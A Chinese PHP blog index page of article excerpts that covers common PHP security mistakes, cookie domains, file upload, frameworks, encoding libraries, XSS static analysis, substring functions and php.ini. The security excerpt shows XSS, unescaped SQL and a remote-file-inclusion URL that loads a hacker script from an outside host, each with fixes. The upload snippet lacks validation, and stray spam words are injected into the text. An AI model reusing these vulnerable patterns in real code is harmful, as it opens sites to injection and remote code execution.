首页 > phper

PHP程序员最易犯10种错误

PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种

1.不转意html entities

  一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。

echo $_GET[''usename''] ;


这个例子有可能输出:

<scrīpt>/*更改admin密码的脚本或设置cookie的脚本*/</scrīpt>

这是一个明显的安全隐患,除非你保证你的用户都正确的输入。

如何修复 :

我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >'', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。

正确的方法:

echo htmlspecialchars($_GET[''username''], ENT_QUOTES);




2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:

和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数


正确做法:
<?php
$sql = "UPDATE users SET
name=''.mysql_real_escape_string($name).''
WHERE id=''.mysql_real_escape_string ($id).''";
mysql_query($sql);
?>






3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。

如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off




4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。


例如:
index.php
<?
//including header, config, database connection, etc
include($_GET[''filename'']);
//including footer
?>


现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。


如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

<

阅读全文

phpMailer使用介绍

  

发送邮件是一个经常使用的功能,但是php的默认支持并不是很好,这里介绍一个很好的开源模块:phpmailer,此模块功能比较全面,支持SMTP验证。下面就简单介绍一下它的使用方法:

阅读全文

php cookie cn域名规范

以前真没在意cookie的作用域问题,可能以前用.com域名没出过问题,今天用公司的一个cn域名测试,怎么也不能实现cookie共享,后来采用js设置cookie,在另外一台服务器上共享cookie成功,真叫气人!翻阅了一下php的cookie 规范 ,里面有这么一段

Only hosts within the specified domain can set a cookie for a domain and domains must have at least two (2) or three (3) periods in them to prevent domains of the form: ".com", ".edu", and "va.us". Any domain that fails within one of the seven special top level domains listed below only require two periods. Any other domain requires at least three. The seven special top level domains are: "COM", "EDU", "NET", "ORG", "GOV", "MIL", and "INT".

看出来了吧,真他娘的草蛋!除了"COM", "EDU", "NET", "ORG", "GOV", "MIL", and "INT"这几个后缀的域名可以设置二级作用域,其他的域名至少三级才可以,也就是说想通过设置作用域为b.cn来实现a.b.cn和c.b.cn下的 cookie共享用php是不行的,php只能实现作用域b.a.cn下的d.b.a.cn和e.b.a.cn间的cookie共享,希望大家注意,再遇到此类问题,别浪费时间拼命的测试了……

阅读全文

用php实现广告轮播




网路广告,变成了 Internet 上的热门学问。而 468x60 更变成了广告人员绞尽脑汁的尺寸。
  在处理广告时,若能直接使用浏览器将广告的 468x60 图档送到处理广告的伺服器中,相信是件很舒服的事,不用再开 FTP 程式,搞大半天只为了 upload。

  这个问题,是所有 Web CGI 程式的痛,包括 ASP、Prel....双缘敬老院等等,都需要再经过系统元件的增加才能达成。号称最强的 Web CGI 程式: PHP,在这方面的表现没有令人失望,甚至傲视其它的 CGI 工具。

  File Upload 功能在 RFC 1867 文件有有详细的说明,是利用特殊的文件格式 (content-type) multipart/form-data。值得注意的是浏览器一定要用 Netscape 3.0 以上或 MS Internet Explorer 4.0 以上的版本才能将档案上传。

  先看下面的 HTML 原始码


< form enctype="multipart/form-data" action="next.php" method=post >
您的大名: < input type=text name=user >< br >
档案名称: < input name="myfile" type="file" >< br >
< input type="submit" value="送出" >
< /form >

  在 form 的标签中,要加入 enctype="multipart/form-data" 的字串,表示使用者输入的资料上有档案上传,同时 method 一定要用 POST 而不能用 GET。

  在上面的码中,若使用者姓名填入 Wilson Peng,并选 c:myphoto.gif 的档案,在使用者按下送出键后,浏览器则传送出下面的 POST 资料。 安装卫星电视


Content-type: multipart/form-data, boundary=AaB03x

--AaB03x
content-disposition: form-data; name="user"

Wilson Peng
--AaB03x
content-disposition: form-data; name="myfile"
Content-type: multipart/mixed, boundary=BbC04y

--BbC04y
Content-disposition: attachment; filename="myphoto.gif"
Content-type: image/gif
Content-Transfer-Encoding: binary

...myphoto.gif 内容略...
--BbC04y--
--AaB03x--


  看到上面的资料中,boundary=AaB03x 即为分开不同栏位资料的讯息,其中的 AaB03x 编码方法,视浏览器的版本不同而异,通常是浏览器杂凑产生的。照明工程之后就可以看到用 --AaB03x 来隔开不同的栏位。

以上面为例,处理 form 的 action 程式 next.php,会主动产生四个变数,见下表

变数名 说明
$myfile 即上传的档案内容
$myfile_name 上传档案在使用者端的名称
$myfile_size 上传档案的大小
$myfile_type 上传档案的格式,如 "image/gif"


  在 next.php 程式要做的最重要动作,就是好好的使用这四个变数,否则程式一结束,使用者上传的档案就消失了。因此,要先将 $myfile 复制到存放广告图的目录中茅台酒

copy($banner,"/home1/biglobe3/ad/".$banner_name);

  这行程式就是将档案存在 /home/htdocs/ad 的目录中,就上面的例子而言,就将档案存到 /home/htdocs/ad/myphoto.gif。重要的是,存放的目录不能是 Web Server 无法读到的目录,而应放在网站的 Homepage 所在目录中,才可以在网路上看到。

  或许程式要更细部的处理,例如比对取得的档案大小与系统回报的是否相同....等等,就可以用 $myfile_size 变数了

阅读全文

戏说PHP框架的味道

作者:老王

目前PHP社区里最成功的框架要数CakePHP,Symfony,ZendFramework了,有选择总是好事,不过选择多了也有烦恼,正所谓“有两块手表的人永远不知道准确的时间”。今天无聊,戏说一下我眼中PHP框架的味道。希望初学者选择框架时能有所参考。

阅读全文

黑客帝国之PHP与ASP.net不得不说的故事

勉勉强强,揣着这几天学到的心得,我又来鸡歪了

呵呵,为什么跟黑客帝国扯上关系呢,呵呵,这得从ASP.NET的封装讲起

在黑客帝国中所有的人他们全都自认为生活在一个有阳光,有绿色的世界中,实际上却是矩阵所构造的一种虚像与控制,他们不知道自已一直都在营养容器里面过着日子

就好像搞ASP.NET的人,他们跟泡在营养容器里的人一样,被MS构造出来的各种各样的类库包围着,他们从来不会想过这些类库是怎么来的(这些命名空间怎么来的),他们只关心怎么使用这些类库,这些命名空间,底层如何实现这些东西很少有人会去考虑。

他们实例化着MS提供的类库,调用着MS已经实现了的对像方法,但没有人见过这些类库的源码或是没有人知道这些类库及类库的方法是怎么实现的,就好像黑客帝国里面的人从来就没有试着睁开眼睛看到过外面的世界,他们只生活在被虚拟出来的环境中~

这两者何其相似

比如说调用AJAX,在asp.net中这现实AJAX何其简单,如果是之前没接触过别的WEB编程语言的直接来用ASP.net,他可能就不知道原来WEB要实现AJAX要通过JS,要通过XML,要通过xmlhttp,他只会觉得,WEB原本就是可以这样子的,他的思维给MS虚拟构造出来的假象给蒙蔽了。

就好像在黑客帝国里生活在矩阵电脑里的人都能一跳跳个十几米几十米的,他们可能会觉得很正常,但是现实中不是这样子的,现实中那不是正常的。

再举个例子,树状菜单,动态载入的

在PHP(应该说是常规中才对)中我们要实现树状菜单

假设在不知道有XLoadTree的情况下,我们可能要一砖一瓦的搞起,这样,我们了解非常深,知道每一次点击会触发什么事件,隐藏了什么,又显示了什么,又传输了什么,每个事件的触发都是我们自定义的

在后来知道了有XLoadTree类库的情况下,我们非常容易的就可以实现树状菜单,而且通过查看源码我们也可以很容易的了解到JS实现这些功能的过程和原理。

但是在asp.net中,实现这一切多么的简单,直接从控件栏里面拖TreeView过来就行了,你需要了解JS吗?不需要,尽管最终在浏览器端实现这一切的是用JS,但是,你不需要了解JS,你只需要知道treeview这个控件怎么用就行了,也就是说,你不会知道底层是怎么回事,最终的JS是怎么实现的。

夜深了,睡了,不说了~留待下回分解

————————————————————————

备注:我无意评比这两种语言谁优谁劣,那是傻人才干的事,我只是感到迷惑,我只是在把我在学asp.net过程中碰到的新事物与PHP进行比较,,用我被MS影响到的思维与常规的WEB思维进行对比。

“自慰”的说一句,我这算不算博取众长?

哈哈哈,开玩笑了,这句话只不过是逗大家一笑罢了

阅读全文

PHP中文编码集合类库

目前该类库可以实现,简体中文 <-> 繁体中文编码互换,简体中文、繁体中文 -> 拼音单向转换,
简体中文、繁体中文 <-> UTF8 编码转换,简体中文、繁体中文 -> Unicode单向转换

@作者 Hessian(solarischan@21cn.com)
@版本 1.5
@版权所有 Hessian / NETiS
@使用授权 GPL(不能应用于任何商业用途,无须经过作者同意即可修改代码,但修改后的代码必须按照GPL协议发布)
@特别鸣谢 unknow(繁简转换代码片断)
@起始 2003-04-01
@最后修改 2003-06-06
@访问 公开

更新记录

ver 1.7 2005-07-26
修改了while循环导致的bug。此bug当字符串最后一个字符为"0"的时候将处理错误。
受影响方法: CHStoUTF8() , CHStoUNICODE()

ver 1.6 2005-05-16
构造函数增加了一个参数以便用户可以方便的在使用的时候设置配置文件路径

ver 1.5 2003-06-06
增加 UTF8 转换到 GB2312、BIG5的功能。

ver 1.4 2003-04-07
增加 当转换HTML时设定为true,即可改变charset的值。

ver 1.3 2003-04-02
增加 繁体中文转换至拼音的功能。

ver 1.2 2003-04-02
合并 简体、繁体中文转换至UTF8的函数。
修改 简体中文转换至拼音的函数,返回值更改为字符串,每一个汉字的拼音用空格分开
增加 简体中文转换为 UNICODE 的功能。
增加 繁体中文转换为 UNICODE 的功能。

ver 1.1 2003-04-02
增加 OpenFile() 函数,支持打开本地文件和远程文件。
增加 简体中文转换为 UTF8 的功能。
增加 繁体中文转换为 UTF8 的功能。

ver 1.0 2003-04-01
一个集合了中文简体,中文繁体对应各种编码互换的类库已经初步完成。

阅读全文

PHP静态分析与跨站脚本检测(四)

今天继续提交读程序笔记,这次比较少,而且相对简单些。


ConnectorComputation
    - compute()
        如果workList还有元素,就继续循环,但是第一次进入循环时候根据构造方法来看workList只有一个元素<mainFunction, emptyCallString>。然后从workList中取出第一个元素,获取TacFunction和CallString(gamma),根据TacFunction(p)从function2ECS中得到ECS(ecs_p),实际上此时functions2ECS中第一个元素对应的TacFunction即为_main。得到gamma在ecs_p中的位置,即是在一个CallString的链表中的位置
        随后,将p这个TacFunction包含的所有的CfgNodeCall迭代一遍,对于每一个callNode,得到其callee(即被调用的函数q),在q!=null的情况下,以callNode建立一个新的CallString(gamma_2),从function2ECS中得到q对应的ECS(ecs_q),获取ecs_q中gamma_2的位置,如果为-1,就将gamma_2添加到ecs_q的CallStrings队列中去,并以q和gamma_2建立元素添加到workList中去,expand it。
        接下来扩充什么ConnectorFunction因为都在for循环里边,是对局部变量的操作,所以没有什么用处。
        在while循环结束之后,调用makeCallGraph()方法。
    - makeCallGraph()
        首先以mainFunction初始化一个CallGraph,获得mainFunction所包含的方法调用列表processUs<CfgNodeCall>,并建立一个以访问的集合visited,将mainFunction添加进集合里边。
        当processUs不为空,依次取出元素callNode,得到它的caller和callee,如果callee!=null,向callGraph中添加元素。如果callee还没有被处理过,则将其所包含的所有函数调用添加进processUs,并将其放进visited。


Checker
    根据初始提供的run-all.bat的参数来看,实际上aliases analyze和literal analyze并没有进行,只是gta.analyze()进行了,实际上也就是只有dependance analyze执行了。通过以来关系最后决定vulns。

阅读全文

PHP 截取字符串专题

PHP 截取字符串专题
作者: 不详 来源: 不详

1. 截取GB2312中文字符串
<?php
//截取中文字符串
function mysubstr($str, $start, $len) {
    $tmpstr = "";
    $strlen = $start + $len;
    for($i = 0; $i < $strlen; $i++) {
        if(ord(substr($str, $i, 1)) > 0xa0) {
            $tmpstr .= substr($str, $i, 2);
            $i++;
        } else
            $tmpstr .= substr($str, $i, 1);
    }
    return $tmpstr;
}
?>

2. 截取utf8编码的多字节字符串
<?php
//截取utf8字符串
function utf8Substr($str, $from, $len)
{
    return preg_replace(''#^(?:[x00-x7F]|[xC0-xFF][x80-xBF]+){0,''.$from.''}''.
                       ''((?:[x00-x7F]|[xC0-xFF][x80-xBF]+){0,''.$len.''}).*#s'',
                       ''$1'',$str);
}
?>

3. UTF-8、GB2312都支持的汉字截取函数
<?php
/*
Utf-8、gb2312都支持的汉字截取函数
cut_str(字符串, 截取长度, 开始长度, 编码);
编码默认为 utf-8
开始长度默认为 0
*/
 
function cut_str($string, $sublen, $start = 0, $code = ''UTF-8'')
{
    if($code == ''UTF-8'')
    {
        $pa = "/[x01-x7f]|[xc2-xdf][x80-xbf]|xe0[xa0-xbf][x80-xbf]|[xe1-xef][x80-xbf][x80-xbf]|xf0[x90-xbf][x80-xbf][x80-xbf]|[xf1-xf7][x80-xbf][x80-xbf][x80-xbf]/";
        preg_match_all($pa, $string, $t_string);
 
        if(count($t_string[0]) - $start > $sublen) return join('''', array_slice($t_string[0], $start, $sublen))."...";
        return join('''',

阅读全文

用于 php-5.2 的 php.ini 中文版

适用于 php-5.2 的 php.ini 中文版

;;;;;;;;;;;;;;
;;   简介   ;;
;;;;;;;;;;;;;;
; 本文并非是对英文版 php.ini 的简单翻译,而是参考了众多资料以后,结合自己的理解,增加了许多内容,
; 包括在原有 php.ini 基础上增加了一些实用模块的配置说明,同时对文件内容的安排进行了调整。
; 由于作者不喜欢 no-free 的玩意儿,所以删除了除 MySQL 和 PostgreSQL 以外的其他数据库模块配置选项。

;;;;;;;;;;;;;;;;;
;; 关于php.ini ;;
;;;;;;;;;;;;;;;;;
; 这个文件必须命名为''php.ini''并放置在httpd.conf中的PHPIniDir指令指定的目录中。
; 最新版本的php.ini可以在下面两个位置查看:
; [url]http://cvs.php.net/viewvc.cgi/php-src/php.ini-recommended?view=co[/url]
; [url]http://cvs.php.net/viewvc.cgi/php-src/php.ini-dist?view=co[/url]


;;;;;;;;;;;;
;;  语法  ;;
;;;;;;;;;;;;
; 该文件的语法非常简单。空白字符和以分号开始的行被简单地忽略。
; 章节标题(例如: [php])也被简单地忽略,即使将来它们可能有某种意义。
;
; 设置指令的格式如下:
; directive = value
; 指令名(directive)是大小写敏感的!所以"foo=bar"不同于"FOO=bar"。
; 值(value)可以是:
; 1. 用引号界定的字符串(如:"foo")
; 2. 一个数字(整数或浮点数,如:0, 1, 34, -1, 33.55)
; 3. 一个PHP常量(如:E_ALL, M_PI)
; 4. 一个INI常量(On, Off, none)
; 5. 一个表达式(如:E_ALL & ~E_NOTICE)
;
; INI文件中的表达式仅使用:位运算符、逻辑非、圆括号:
; | 位或
; & 位与
; ~ 位非
; ! 逻辑非
;
; 布尔标志用 On 表示打开,用 Off 表示关闭。
;
; 一个空字符串可以用在等号后不写任何东西表示,或者用 none 关键字:
; foo =         ; 将foo设为空字符串
; foo = none    ; 将foo设为空字符串
; foo = "none"  ; 将foo设为字符串''none''
;
; 如果你在指令值中使用动态扩展(PHP扩展或Zend扩展)中的常量,
; 那么你只能在加载这些动态扩展的指令行之后使用这些常量。


;;;;;;;;;;;;;;;;;;
;;  httpd.conf  ;;
;;;;;;;;;;;;;;;;;;
; 还可以在httpd.conf中覆盖php.ini的值,以进行更灵活的配置:
; php_value name value  ;设置非bool型的指令,将value设为none则清除先前的设定
; php_flag  name on|off ;仅用于设置bool型的指令
;
; PHP常量(如E_ALL)仅能在php.ini中使用,在httpd.conf中必须使用相应的掩码值。
; 带"SYS"标志的指令只能在httpd.conf中的全局配置部分使用,
; 带"ini"标志的指令不能在httpd.conf中使用,它们仅能用于php.ini中。


;==========================================================================================
;;=====================================配置指令详解========================================
;==========================================================================================

阅读全文